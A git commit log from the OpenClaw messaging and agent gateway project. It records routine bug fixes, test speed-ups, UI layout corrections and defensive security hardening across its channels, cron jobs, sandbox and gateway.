842087319b perf(logging): skip config/fs work in default silent test path 2026-03-02 18:41:58 +00:00
Lucenx9
5c1eb071ca fix(whatsapp): restore direct inbound metadata for relay agents (#31969)
* fix(whatsapp): restore direct inbound metadata for relay agents

* fix(auto-reply): use shared inbound channel resolver for direct metadata

* chore(ci): retrigger checks after base update

* fix: add changelog attribution for inbound metadata relay fix (#31969) (thanks @Lucenx9)

---------

Co-authored-by: Simone <simone@example.com>
Co-authored-by: Peter Steinberger <steipete@gmail.com>
2026-03-02 18:40:04 +00:00
scoootscooob
4030de6c73 fix(cron): move session reaper to finally block so it runs reliably (#31996)
* fix(cron): move session reaper to finally block so it runs reliably

The cron session reaper was placed inside the try block of onTimer(),
after job execution and state updates. If the locked persist section
threw, the reaper was skipped — causing isolated cron run sessions to
accumulate indefinitely in sessions.json.

Move the reaper into the finally block so it always executes after a
timer tick, regardless of whether job execution succeeded. The reaper
is already self-throttled (MIN_SWEEP_INTERVAL_MS = 5 min) so calling
it more reliably has no performance impact.

Closes #31946

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix: strengthen cron reaper failure-path coverage and changelog (#31996) (thanks @scoootscooob)

---------

Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
Co-authored-by: Peter Steinberger <steipete@gmail.com>
2026-03-02 18:38:59 +00:00
liuxiaopai-ai
c9558cdcd7 fix(launchd): set restrictive umask in gateway plist 2026-03-02 18:38:56 +00:00
liuxiaopai-ai
740bb77c8c fix(reply): prefer provider over surface for run channel fallback 2026-03-02 18:37:00 +00:00
Adhish Thite
63734df3b0 fix(doctor): resolve false positive for local memory search when no explicit modelPath (#32014)
* fix(doctor): resolve false positive for local memory search when no explicit modelPath

When memorySearch.provider is 'local' (or 'auto') and no explicit
local.modelPath is configured, the runtime auto-resolves to
DEFAULT_LOCAL_MODEL (embeddinggemma-300m via HuggingFace). However,
the doctor's hasLocalEmbeddings() check only inspected the config
value and returned false when modelPath was empty, triggering a
misleading warning.

Fix: fall back to DEFAULT_LOCAL_MODEL in hasLocalEmbeddings(), matching
the runtime behavior in createLocalEmbeddingProvider().

Closes #31998

* fix: scope DEFAULT_LOCAL_MODEL fallback to explicit provider:local only

Address review feedback: canAutoSelectLocal() in the runtime skips
local for empty/hf: model paths in auto mode. The DEFAULT_LOCAL_MODEL
fallback should only apply when provider is explicitly 'local', not
when provider is 'auto' — otherwise users with no local file and no
API keys would get a clean doctor report but no working embeddings.

Add useDefaultFallback parameter to hasLocalEmbeddings() to
distinguish the two code paths.

* fix: preserve gateway probe warning for local provider with default model

When hasLocalEmbeddings returns true via DEFAULT_LOCAL_MODEL fallback,
also check the gateway memory probe if available. If the probe reports
not-ready (e.g. node-llama-cpp missing or model download failed),
emit a warning instead of silently reporting healthy.

Addresses review feedback about bypassing probe-based validation.

* fix: add changelog attribution for doctor local fallback fix (#32014) (thanks @adhishthite)

---------

Co-authored-by: Adhish <adhishthite@Adhishs-MacBook-Pro.local>
Co-authored-by: Peter Steinberger <steipete@gmail.com>
2026-03-02 18:35:40 +00:00
Peter Steinberger
534168a7a7 fix: add changelog entry for config-form secret union (#31866) (thanks @ningding97) 2026-03-02 18:35:15 +00:00
ningding97
9c1312b5e4 fix(ui): handle SecretInput union in config form analyzer
The config form marks models.providers as unsupported because
SecretInputSchema creates a oneOf union that the form analyzer
cannot handle. Add detection for secret-ref union variants and
normalize them to plain string inputs for form display.

Closes #31490
2026-03-02 18:35:15 +00:00
Mark L
1727279598 fix(browser): default to openclaw profile when unspecified (#32031) 2026-03-02 18:34:37 +00:00
Peter Steinberger
d52e5e1d85 fix: add regression tests for telegram token guard (#31973) (thanks @ningding97) 2026-03-02 18:33:49 +00:00
ningding97
c1c20491da fix(telegram): guard token.trim() against undefined to prevent startup crash
When account.token is undefined (e.g. missing botToken config),
calling .trim() directly throws "Cannot read properties of undefined".
Use nullish coalescing to fall back to empty string before trimming.

Closes #31944
2026-03-02 18:33:49 +00:00
Maho
d21cf44452 fix(slack): remove message.channels/message.groups handlers that crash Bolt 4.6 (#32033)
* fix(slack): remove message.channels/message.groups handlers that crash Bolt 4.6

Bolt 4.6 rejects app.event() calls with event names starting with
"message." (e.g. "message.channels", "message.groups"), throwing
AppInitializationError on startup. These handlers were added in #31701
based on the incorrect assumption that Slack dispatches typed event
names to Bolt. In reality, Slack always delivers events with
type:"message" regardless of the Event Subscription name; the
channel_type field distinguishes the source.

The generic app.event("message") handler already receives all channel,
group, IM, and MPIM messages. The additional typed handlers were
unreachable even if Bolt allowed them, since no event payload ever
carries type:"message.channels".

This preserves the handleIncomingMessageEvent refactor from #31701
(extracting the handler into a named function) while removing only
the broken registrations.

Fixes the Slack provider crash loop affecting all accounts on
@slack/bolt >= 4.6.0.

Closes #31674 (original issue was not caused by missing handlers)

* fix: document Slack Bolt 4.6 startup handler fix (#32033) (thanks @mahopan)

---------

Co-authored-by: Peter Steinberger <steipete@gmail.com>
2026-03-02 18:32:42 +00:00
bmendonca3
738f5d4533 skills: make sherpa-onnx-tts bin ESM-compatible 2026-03-02 18:30:42 +00:00
Peter Steinberger
a8fe8b6bf8 test(guardrails): exclude suite files and harden auth temp identity naming 2026-03-02 18:21:13 +00:00
Peter Steinberger
82f01d6081 perf(runtime): reduce startup import overhead in logging and schema validation 2026-03-02 18:21:13 +00:00
Sid
41c8734afd fix(gateway): move plugin HTTP routes before Control UI SPA catch-all (#31885)
* fix(gateway): move plugin HTTP routes before Control UI SPA catch-all

The Control UI handler (`handleControlUiHttpRequest`) acts as an SPA
catch-all that matches every path, returning HTML for GET requests and
405 for other methods.  Because it ran before `handlePluginRequest` in
the request chain, any plugin HTTP route that did not live under
`/plugins` or `/api` was unreachable — shadowed by the catch-all.

Reorder the handlers so plugin routes are evaluated first.  Core
built-in routes (hooks, tools, Slack, Canvas, etc.) still take
precedence because they are checked even earlier in the chain.
Unmatched plugin paths continue to fall through to Control UI as before.

Closes #31766

* fix: add changelog for plugin route precedence landing (#31885) (thanks @Sid-Qin)

---------

Co-authored-by: Peter Steinberger <steipete@gmail.com>
2026-03-02 18:16:14 +00:00
Peter Steinberger
cf5702233c docs(security)!: document messaging-only onboarding default and hook/model risk 2026-03-02 18:15:49 +00:00
Mark L
718d418b32 fix(daemon): harden launchd plist with umask 077 (#31919)
* fix(daemon): add launchd umask hardening

* fix: finalize launchd umask changelog + thanks (#31919) (thanks @liuxiaopai-ai)

---------

Co-authored-by: Peter Steinberger <steipete@gmail.com>
2026-03-02 18:13:41 +00:00
Peter Steinberger
16df7ef4a9 feat(onboarding)!: default tools profile to messaging 2026-03-02 18:12:11 +00:00
Mark L
9b8e642475 Config: newline-join sandbox setupCommand arrays (#31953) 2026-03-02 18:11:32 +00:00
bmendonca3
8b27582509 fix(cli): apply --profile before dotenv bootstrap in runCli (#31950)
Co-authored-by: bmendonca3 <bmendonca3@users.noreply.github.com>
2026-03-02 18:09:45 +00:00
bmendonca3
a6489ab5e9 fix(agents): cap openai-completions tool call ids to provider-safe format (#31947)
Co-authored-by: bmendonca3 <bmendonca3@users.noreply.github.com>
2026-03-02 18:08:20 +00:00
Peter Steinberger
83c8406f01 refactor(security): split gateway auth suites and share safe write path checks 2026-03-02 18:07:03 +00:00
Peter Steinberger
602f6439bd test(memory): stabilize windows qmd spawn expectation 2026-03-02 18:06:12 +00:00
Peter Steinberger
1c9deeda97 refactor: split webhook ingress and policy guards 2026-03-02 18:02:21 +00:00
Peter Steinberger
fc0d374390 test(perf): drop duplicate gateway config patch validation case 2026-03-02 18:00:11 +00:00
Peter Steinberger
0ebe0480fa test(perf): replace relay fixed sleeps with condition waits 2026-03-02 17:55:47 +00:00
Peter Steinberger
8ae8056622 test(perf): trim telegram webhook artificial delay windows 2026-03-02 17:48:36 +00:00
Peter Steinberger
54382a66b4 test(perf): bypass matrix send queue delay in send tests 2026-03-02 17:46:31 +00:00
Peter Steinberger
d7ae61c412 test(gateway): fix trusted-proxy control-ui auth test origin config 2026-03-02 17:45:45 +00:00
Peter Steinberger
b07589642d test(perf): remove redundant acpx healthy-command case 2026-03-02 17:41:51 +00:00
Peter Steinberger
26b8e6d510 test(perf): avoid cron min-refire delay in auto-run coverage 2026-03-02 17:41:51 +00:00
Peter Steinberger
e339c75d5d style(docs): format faq markdown spacing 2026-03-02 17:38:11 +00:00
Peter Steinberger
7dac9b05dd fix(security): harden zip write race handling 2026-03-02 17:38:11 +00:00
Peter Steinberger
eb35fb745d docs: remove provider recommendation language 2026-03-02 17:33:38 +00:00
Peter Steinberger
b9e820b7ed test(perf): cut exec approval metadata test timeout 2026-03-02 17:33:06 +00:00
Peter Steinberger
aee27d0e38 refactor(security): table-drive wrapper approval pinning tests 2026-03-02 17:30:48 +00:00
Peter Steinberger
34ff873a7e test(perf): trim fixed waits in relay and startup tests 2026-03-02 17:30:33 +00:00
Peter Steinberger
310dd24ce3 test(perf): clean acpx runtime fixtures at suite end 2026-03-02 17:30:33 +00:00
Peter Steinberger
d4bf07d075 refactor(security): unify hardened install and fs write flows 2026-03-02 17:23:29 +00:00
Peter Steinberger
d3e8b17aa6 fix: harden webhook auth-before-body handling 2026-03-02 17:21:09 +00:00
Peter Steinberger
dded569626 fix(security): preserve system.run wrapper approval semantics 2026-03-02 17:20:52 +00:00
Peter Steinberger
104d32bb64 fix(security): unify root-bound write hardening 2026-03-02 17:12:33 +00:00
Peter Steinberger
be3a62c5e0 test(perf): defer delivery queue fixture cleanup to suite end 2026-03-02 17:10:55 +00:00
Hiren Thakore
193ad2f4f0 fix: handle PowerShell execution policy on Windows install (#24794)
* fix: add Arch Linux support to install.sh (GH#8051)

* fix: handle PowerShell execution policy on Windows install (GH#24784)
2026-03-02 11:09:01 -06:00
Dalomeve
a0e11e63fe docs(faq): add Windows exec encoding troubleshooting (#30736)
Co-authored-by: dalomeve <dalomeve@users.noreply.github.com>
2026-03-02 11:08:26 -06:00
Peter Steinberger
07b16d5ad0 fix(security): harden workspace bootstrap boundary reads 2026-03-02 17:07:36 +00:00
Mark L
67b2dde7c5 Docs: add WSL2 boot auto-start guide (#31616) 2026-03-02 11:07:15 -06:00
Glucksberg
7a55a3ca07 fix(install): correct Windows PATH troubleshooting docs (#28102)
* fix(install): correct Windows PATH troubleshooting — no \bin suffix needed (closes #19921)

* fix(docs): apply same PATH fix to FAQ
2026-03-02 11:07:07 -06:00
Peter Steinberger
11562c452a test(perf): avoid unused heartbeat fixture file writes 2026-03-02 17:01:40 +00:00
Val Alexander
eb2e20c994 fix(ui): preserve margin-top: 0 for onboarding mode
- Change margin from -12px -16px -32px to 0 -16px -32px
- Preserves zero top offset required for onboarding mode
- Prevents clipping of top edge/actions area when padding-top: 0
2026-03-02 11:01:27 -06:00
Val Alexander
24a13c05b3 fix(ui): add mobile responsive margins and overflow fallback
- Add margin: 0 for mobile viewports (<=600px, <=400px) to prevent clipping
- Add overflow: hidden fallback for older browsers (Safari <16, Firefox <81)
- Fixes mobile regression where negative margins over-cancel padding

Addresses issue where save button was clipped on mobile due to
hard-coded desktop negative margins not accounting for mobile's
smaller content padding (4px 4px 16px).
2026-03-02 11:01:27 -06:00
SidQin-cyber
20c36f7e84 fix(ui): prevent config page save button from being clipped by overflow
The config-layout used a uniform margin: -16px that did not match the
parent .content padding (12px 16px 32px), causing the right edge of the
actions bar—including the Save button—to extend into the overflow-hidden
region on systems with non-overlay scrollbars (e.g. Ubuntu/GTK).

Changes:
- Match negative margin to actual .content padding (-12px -16px -32px).
- Use overflow: clip instead of overflow: hidden on .config-main so it
  does not create a scroll container that shifts the stacking context.
- Add flex-shrink: 0 and position: relative on .config-actions to
  guarantee the actions bar is never collapsed or layered behind the
  scrollable content area.

Closes #31658
2026-03-02 11:01:27 -06:00
Peter Steinberger
db7a8a6982 test(perf): reuse delivery queue suite temp root 2026-03-02 16:55:18 +00:00
Peter Steinberger
4a80311628 refactor(security): split sandbox media staging and stream safe copies 2026-03-02 16:53:14 +00:00
Peter Steinberger
7a7eee920a refactor(gateway): harden plugin http route contracts 2026-03-02 16:48:00 +00:00
Peter Steinberger
33e76db12a refactor(gateway): scope ws origin fallback metrics to runtime 2026-03-02 16:47:00 +00:00
Peter Steinberger
9a68590385 refactor(logging): extract bounded regex redaction util 2026-03-02 16:47:00 +00:00
Peter Steinberger
031bf0c6c0 refactor(security): split safe-regex parse and bounded matching 2026-03-02 16:47:00 +00:00
Peter Steinberger
8611fd67b5 test(perf): remove duplicate bundled memory slot loader case 2026-03-02 16:46:17 +00:00
Peter Steinberger
14c93d2646 docs(changelog): add skills archive extraction hardening note 2026-03-02 16:45:47 +00:00
Artale
1b462ed174 fix(test): use NTFS junctions and platform guards for symlink tests on Windows (openclaw#28747) thanks @arosstale
Verified:
- pnpm install --frozen-lockfile
- pnpm test src/agents/apply-patch.test.ts src/agents/sandbox/fs-bridge.test.ts src/agents/sandbox/validate-sandbox-security.test.ts src/infra/archive.test.ts

Co-authored-by: arosstale <117890364+arosstale@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-02 10:45:19 -06:00
Peter Steinberger
18f8393b6c fix: harden sandbox writes and centralize atomic file writes 2026-03-02 16:45:12 +00:00
Peter Steinberger
14e4575af5 docs(changelog): note gateway and regex hardening 2026-03-02 16:38:03 +00:00
Peter Steinberger
b1592457fa perf(security): bound regex input in filters and redaction 2026-03-02 16:37:45 +00:00
Peter Steinberger
31c7637e0f fix(security): block quantified ambiguous alternation regex 2026-03-02 16:37:45 +00:00
Peter Steinberger
d5ae4b8337 fix(gateway): require local client for loopback origin fallback 2026-03-02 16:37:45 +00:00
Peter Steinberger
0dbb92dd2b fix(security): harden tar archive extraction parity 2026-03-02 16:36:56 +00:00
Peter Steinberger
17ede52a4b fix(security): harden sandbox media staging destination writes 2026-03-02 16:35:08 +00:00
Gustavo Madeira Santana
be65dc8acc docs(diffs): clarify file size limitations 2026-03-02 11:34:12 -05:00
zwffff
8828418111 test(subagent-announce): fix flaky Windows-only test failure (#31298) (openclaw#31370) thanks @zwffff
Verified:
- pnpm install --frozen-lockfile
- pnpm build
- pnpm check (fails on main baseline issues in extensions/googlechat and extensions/phone-control)
- pnpm test:e2e src/agents/subagent-announce.format.e2e.test.ts

Co-authored-by: zwffff <5809959+zwffff@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-02 10:33:07 -06:00
Peter Steinberger
4dd6c7a509 test(perf): avoid redundant root mkdir in hooks install tests 2026-03-02 16:33:00 +00:00
bboyyan
d94de5c4a1 fix(cron): normalize topic-qualified target.to in messaging tool suppress check (#29480)
* fix(cron): pass job.delivery.accountId through to delivery target resolution

* fix(cron): normalize topic-qualified target.to in messaging tool suppress check

When a cron job targets a Telegram forum topic (e.g. delivery.to =
"-1003597428309:topic:462"), delivery.to is stripped to the chatId
only by resolveOutboundTarget. However, the agent's message tool may
pass the full topic-qualified address as its target, causing
matchesMessagingToolDeliveryTarget to fail the equality check and not
suppress the tool send.

Strip the :topic:NNN suffix from target.to before comparing so the
suppress check works correctly for topic-bound cron deliveries.
Without this, the agent's message tool fires separately using the
announce session's accountId (often "default"), hitting 403 when
default bot is not in the multi-account target group.

* fix(cron): remove duplicate accountId keys after rebase

---------

Co-authored-by: jaxpkm <jaxpkm@jaxpkmdeMac-mini.local>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-02 10:32:06 -06:00
Glucksberg
09f49cd921 fix(cron): accept delivery mode "none" for sessionTarget="main" (#27431) (#28871) 2026-03-02 10:32:00 -06:00
Ayaan Zaidi
87d05592ea docs(changelog): add telegram dm streaming note (#31824) 2026-03-02 21:59:19 +05:30
Peter Steinberger
d74bc257d8 fix(line): mark webhook route as plugin-authenticated 2026-03-02 16:27:47 +00:00
Ayaan Zaidi
6edb512efa feat(telegram): use sendMessageDraft for private chat streaming (#31824)
* feat(telegram): use sendMessageDraft for private stream previews

* test(telegram): cover DM draft id rotation race

* fix(telegram): keep DM reasoning updates in draft preview

* fix(telegram): split DM reasoning preview transport

* fix(telegram): harden DM draft preview fallback paths

* style(telegram): normalize draft preview formatting
2026-03-02 21:56:59 +05:30
Peter Steinberger
c973b053a5 refactor(net): unify proxy env checks and guarded fetch modes 2026-03-02 16:24:26 +00:00
Peter Steinberger
a229ae6c3e chore(lint): add registerHttpHandler usage guard script 2026-03-02 16:24:06 +00:00
Peter Steinberger
2fd8264ab0 refactor(gateway): hard-break plugin wildcard http handlers 2026-03-02 16:24:06 +00:00
Peter Steinberger
b13d48987c refactor(gateway): unify control-ui and plugin webhook routing 2026-03-02 16:18:12 +00:00
Tak Hoffman
21708f58ce fix(exec): resolve PATH key case-insensitively for Windows pathPrepend (#25399) (#31879)
Co-authored-by: Glucksberg <markuscontasul@gmail.com>
2026-03-02 10:14:38 -06:00
Tak Hoffman
1ea42ebe98 fix(tsgo): unblock baseline type errors (#31873) 2026-03-02 10:09:49 -06:00
Peter Steinberger
3e5762c288 fix(security): harden sms.send dangerous-node defaults 2026-03-02 16:06:52 +00:00
SidQin-cyber
c4711a9b69 fix(gateway): let POST requests pass through root-mounted Control UI to plugin handlers
The Control UI handler checked HTTP method before path routing, causing
all POST requests (including plugin webhook endpoints like /bluebubbles-webhook)
to receive 405 Method Not Allowed.  Move the method check after path-based
exclusions so non-GET/HEAD requests reach plugin HTTP handlers.

Closes #31344

Made-with: Cursor
2026-03-02 16:06:48 +00:00
Peter Steinberger
ea204e65a0 fix(browser): fail closed navigation guard with env proxy 2026-03-02 16:06:31 +00:00
Peter Steinberger
14fbd0e6b6 test(perf): reduce timer teardown overhead in cron issue regressions 2026-03-02 16:06:04 +00:00
Peter Steinberger
17c434f2f3 refactor: split browser context/actions and unify CDP timeout policy 2026-03-02 16:02:39 +00:00
Peter Steinberger
19f5d1345c test(perf): cache redact hints and tune guardrail scan concurrency 2026-03-02 16:01:41 +00:00
Peter Steinberger
64c443ac65 docs(changelog): credit sessions_spawn agentId validation fix (#31381) 2026-03-02 15:59:45 +00:00
Peter Steinberger
b28e472fa5 fix(agents): validate sessions_spawn agentId format (#31381) 2026-03-02 15:59:45 +00:00
root
0c6db05cc0 fix(agents): add strict format validation to sessions_spawn for agentId
Implements a strict format validation for the agentId parameter in
sessions_spawn to fully resolve the ghost workspace creation bug reported
in #31311.

This fix introduces a regex format gate at the entry point to
immediately reject malformed agentId strings. This prevents error
messages (e.g., 'Agent not found: xyz') or path traversals from being
mangled by normalizeAgentId into seemingly valid IDs (e.g.,
'agent-not-found--xyz'), which was the root cause of the bug.

The validation is placed before normalization and does not interfere
with existing workflows, including delegating to agents that are
allowlisted but not globally configured.

New, non-redundant tests are added to
sessions-spawn.allowlist.test.ts to cover format validation and
ensure no regressions in allowlist behavior.

Fixes #31311
2026-03-02 15:59:45 +00:00
Liu Yuan
ade46d8ab7 fix(logging): log timestamps use local time instead of UTC (#28434)
* fix(logging): log timestamps use local time instead of UTC

Problem: Log timestamps used UTC, but docs say they should use host local timezone

* test(logging): add test for logger timestamp format

Verify logger uses local time (not UTC) in file logs

* changelog: note logger timestamp local-time fix

---------

Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
2026-03-02 07:57:03 -08:00
Peter Steinberger
82247f09a7 test(perf): remove redundant module reset in system presence version tests 2026-03-02 15:56:30 +00:00
Peter Steinberger
d01e82d54a test(perf): avoid module reload churn in config guard tests 2026-03-02 15:56:30 +00:00
Peter Steinberger
93b0724025 fix(gateway): fail closed plugin auth path canonicalization 2026-03-02 15:55:32 +00:00
Peter Steinberger
44270c533b docs(changelog): credit sandbox mkdirp boundary fix (#31547) 2026-03-02 15:55:00 +00:00
Peter Steinberger
dec2c9e74d fix(sandbox): allow mkdirp boundary checks on existing directories (#31547) 2026-03-02 15:55:00 +00:00
User
6135eb3353 fix(sandbox): allow mkdirp boundary check on existing directories 2026-03-02 15:55:00 +00:00
Peter Steinberger
345abf0b20 fix: preserve dns pinning for strict web SSRF fetches 2026-03-02 15:54:46 +00:00
Peter Steinberger
a3d2021eea test(cron): stabilize model precedence mocks in bun runs (#31594) 2026-03-02 15:47:21 +00:00
Peter Steinberger
e08ba063d8 test(android): fix GatewaySessionInvokeTest coroutine job typing (#31594) 2026-03-02 15:47:21 +00:00
Peter Steinberger
998d477f5e test: stabilize cross-platform regression suites (#31594) 2026-03-02 15:47:21 +00:00
Peter Steinberger
a49afd25ea fix(secrets): ignore stdin EPIPE from fast-exit exec resolvers 2026-03-02 15:47:21 +00:00
Peter Steinberger
d86c1a67e0 fix(slack): correct typed message event overloads (#31701) 2026-03-02 15:47:21 +00:00
Peter Steinberger
05b84e718b fix(feishu): preserve explicit target routing hints (#31594) (thanks @liuxiaopai-ai) 2026-03-02 15:47:21 +00:00
liuxiaopai-ai
07b419a0e7 Feishu: honor group/dm prefixes in target parsing 2026-03-02 15:47:21 +00:00
Gustavo Madeira Santana
12be9a08fe refactor(diffs): dedupe functions 2026-03-02 10:46:45 -05:00
Peter Steinberger
ee1b147631 fix(zalouser): harden inbound sender id handling 2026-03-02 15:44:07 +00:00
Peter Steinberger
208a9b1ad1 docs(zalouser): document js-native migration and breaking change 2026-03-02 15:44:07 +00:00
Peter Steinberger
0f00110f5d test(zalouser): expand native runtime regression coverage 2026-03-02 15:44:07 +00:00
Peter Steinberger
174f2de447 feat(zalouser): migrate runtime to native zca-js 2026-03-02 15:44:07 +00:00
Peter Steinberger
db3d8d82c1 test(perf): avoid module reset churn in daemon lifecycle tests 2026-03-02 15:43:20 +00:00
Peter Steinberger
3f2848433a test(perf): reuse suite temp-home fixture in config io write tests 2026-03-02 15:43:20 +00:00
Peter Steinberger
663c1858b8 refactor(browser): split server context and unify CDP transport 2026-03-02 15:43:05 +00:00
Peter Steinberger
729ddfd7c8 fix: add zalo webhook account-scope regression assertions (#26121) (thanks @bmendonca3) 2026-03-02 15:38:36 +00:00
bmendonca3
f39882d57e zalo: update pairing-store read assertion to scoped params object 2026-03-02 15:38:36 +00:00
bmendonca3
6b7d3fb011 security(zalo): scope pairing store by account 2026-03-02 15:38:36 +00:00
Peter Steinberger
c63c179278 chore: add changelog note for adapter sendPayload rollout (#30144) (thanks @nohat) 2026-03-02 15:35:47 +00:00
David Friedland
dd3f7d57ee sendPayload: add chunking, empty-payload guard, and tests 2026-03-02 15:35:47 +00:00
David Friedland
47ef180fb7 sendPayload: explicit text fallback in text-only path 2026-03-02 15:35:47 +00:00
David Friedland
ebe54e6903 fix(adapters): restructure sendPayload media loop to avoid uninitialized lastResult 2026-03-02 15:35:47 +00:00
David Friedland
d06ee86292 feat(adapters): add sendPayload to batch-d adapters 2026-03-02 15:35:47 +00:00
Peter Steinberger
f1cab9c5e5 fix: stabilize zalouser account-scope regression hook (#26672) (thanks @bmendonca3) 2026-03-02 15:34:17 +00:00
bmendonca3
f4c3e483fe zalouser: update account-scope test for scoped store API 2026-03-02 15:34:17 +00:00
bmendonca3
6aa20e91d9 security(zalouser): scope pairing-store auth to accountId 2026-03-02 15:34:17 +00:00
Evgeny Zislis
4b4ea5df8b feat(cron): add failure destination support to failed cron jobs (#31059)
* feat(cron): add failure destination support with webhook mode and bestEffort handling

Extends PR #24789 failure alerts with features from PR #29145:
- Add webhook delivery mode for failure alerts (mode: 'webhook')
- Add accountId support for multi-account channel configurations
- Add bestEffort handling to skip alerts when job has bestEffort=true
- Add separate failureDestination config (global + per-job in delivery)
- Add duplicate prevention (prevents sending to same as primary delivery)
- Add CLI flags: --failure-alert-mode, --failure-alert-account-id
- Add UI fields for new options in web cron editor

* fix(cron): merge failureAlert mode/accountId and preserve failureDestination on updates

- Fix mergeCronFailureAlert to merge mode and accountId fields
- Fix mergeCronDelivery to preserve failureDestination on updates
- Fix isSameDeliveryTarget to use 'announce' as default instead of 'none'
  to properly detect duplicates when delivery.mode is undefined

* fix(cron): validate webhook mode requires URL in resolveFailureDestination

When mode is 'webhook' but no 'to' URL is provided, return null
instead of creating an invalid plan that silently fails later.

* fix(cron): fail closed on webhook mode without URL and make failureDestination fields clearable

- sendCronFailureAlert: fail closed when mode is webhook but URL is missing
- mergeCronDelivery: use per-key presence checks so callers can clear
  nested failureDestination fields via cron.update

Note: protocol:check shows missing internalEvents in Swift models - this is
a pre-existing issue unrelated to these changes (upstream sync needed).

* fix(cron): use separate schema for failureDestination and fix type cast

- Create CronFailureDestinationSchema excluding after/cooldownMs fields
- Fix type cast in sendFailureNotificationAnnounce to use CronMessageChannel

* fix(cron): merge global failureDestination with partial job overrides

When job has partial failureDestination config, fall back to global
config for unset fields instead of treating it as a full override.

* fix(cron): avoid forcing announce mode and clear inherited to on mode change

- UI: only include mode in patch if explicitly set to non-default
- delivery.ts: clear inherited 'to' when job overrides mode, since URL
  semantics differ between announce and webhook modes

* fix(cron): preserve explicit to on mode override and always include mode in UI patches

- delivery.ts: preserve job-level explicit 'to' when overriding mode
- UI: always include mode in failureAlert patch so users can switch between announce/webhook

* fix(cron): allow clearing accountId and treat undefined global mode as announce

- UI: always include accountId in patch so users can clear it
- delivery.ts: treat undefined global mode as announce when comparing for clearing inherited 'to'

* Cron: harden failure destination routing and add regression coverage

* Cron: resolve failure destination review feedback

* Cron: drop unrelated timeout assertions from conflict resolution

* Cron: format cron CLI regression test

* Cron: align gateway cron test mock types

---------

Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-02 09:27:41 -06:00
Peter Steinberger
a905b6dabc test(perf): merge duplicate one-shot retry regression paths 2026-03-02 15:23:58 +00:00
Peter Steinberger
44c50d9a73 fix(types): tighten shared helper typing contracts 2026-03-02 15:21:19 +00:00
Peter Steinberger
ed21b63bb8 refactor(plugin-sdk): share auth, routing, and stream/account helpers 2026-03-02 15:21:19 +00:00
Peter Steinberger
e9dd6121f2 refactor(core): dedupe embedding imports and env parsing 2026-03-02 15:21:19 +00:00
Peter Steinberger
dcf8308c8f refactor(ui): share channel config extras and hint types 2026-03-02 15:21:19 +00:00
Peter Steinberger
d212721df1 test(perf): merge forum-topic direct-delivery scenarios 2026-03-02 15:17:28 +00:00
Peter Steinberger
a469d00345 test(perf): reuse cron heartbeat delivery temp homes per suite 2026-03-02 15:14:17 +00:00
Peter Steinberger
3fb0ab7435 test(perf): tighten cron issue-regression timeout windows 2026-03-02 15:11:14 +00:00
Peter Steinberger
64ac790aa8 test(perf): reuse temp-home root in cron announce delivery suite 2026-03-02 15:08:35 +00:00
Felix Lu
f1cd3ea531 fix(app:macos): 【 OpenClaw ⇄ clawdbot 】- Peekaboo Bridge discovery after the OpenClaw rename (#6033)
* fix(mac): keep OpenClaw bridge socket and harden legacy symlink

* fix(mac): add clawdis legacy Peekaboo bridge symlink

* macos: include moltbot in PeekabooBridge legacy socket paths

* changelog: note peekaboo legacy socket compatibility paths

---------

Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
2026-03-02 07:00:30 -08:00
Peter Steinberger
c5f1cf3c3b test(perf): reuse isolated-agent temp home root per suite 2026-03-02 15:00:08 +00:00
Peter Steinberger
87bd6226bd test(perf): merge overlapping preaction hook scenarios 2026-03-02 14:52:38 +00:00
Robin Waslander
9f98d2766a fix(logs): respect TZ env var for timestamp display, fix Windows timezone (#21859) 2026-03-02 08:44:37 -06:00
StingNing
944abe0a6c fix(security): recognize localized Windows SYSTEM account in ACL audit (#29698)
* fix(security): recognize localized Windows SYSTEM account in ACL audit

On non-English Windows (e.g. French "AUTORITE NT\Système"), the security
audit falsely reports fs.config.perms_writable because the localized
SYSTEM account name is not recognized as trusted.

Changes:
- Add common localized SYSTEM principal names (French, German, Spanish,
  Portuguese) to TRUSTED_BASE
- Add diacritics-stripping fallback in classifyPrincipal for unhandled
  locales
- Use well-known SID *S-1-5-18 in icacls reset commands instead of
  hardcoded "SYSTEM" string for locale independence

Fixes #29681

* style: format windows acl files

---------

Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-02 08:38:56 -06:00
Peter Steinberger
dbc78243f4 refactor(scripts): share guard runners and paged select UI 2026-03-02 14:36:41 +00:00
Peter Steinberger
e41f9998f7 refactor(test): extract shared gateway hook and vitest scoped config helpers 2026-03-02 14:36:41 +00:00
Peter Steinberger
741e74972b refactor(plugin-sdk): share boolean action param parsing 2026-03-02 14:36:41 +00:00
Peter Steinberger
693f61404d refactor(shared): centralize assistant identity and usage timeseries types 2026-03-02 14:36:41 +00:00
Peter Steinberger
3efd224ec6 refactor(commands): dedupe session target resolution and fs tool test setup 2026-03-02 14:36:41 +00:00
Peter Steinberger
b85facfb5d refactor(android): share node JSON param parsing helpers 2026-03-02 14:36:41 +00:00
Ajay Elika
e23b6fb2ba fix(gateway): add Windows-compatible port detection using netstat fallback (openclaw#29239) thanks @ajay99511
Verified:
- pnpm vitest src/cli/program.force.test.ts
- pnpm check
- pnpm build

Co-authored-by: ajay99511 <73169130+ajay99511@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-02 08:33:59 -06:00
tda
d145518f94 fix(cli): wait for process exit before restarting gateway on Windows (openclaw#27913) thanks @tda1017
Verified:
- pnpm vitest src/cli/update-cli/restart-helper.test.ts
- pnpm check
- pnpm build

Co-authored-by: tda1017 <95275462+tda1017@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-02 08:31:03 -06:00
Peter Steinberger
cd18472405 test(perf): trim redundant cron regression setup coverage 2026-03-02 14:25:49 +00:00
Tak Hoffman
2a11a20fe2 test(windows): stabilize exec wrapper mock assertions (#31771) 2026-03-02 08:24:49 -06:00
Peter Steinberger
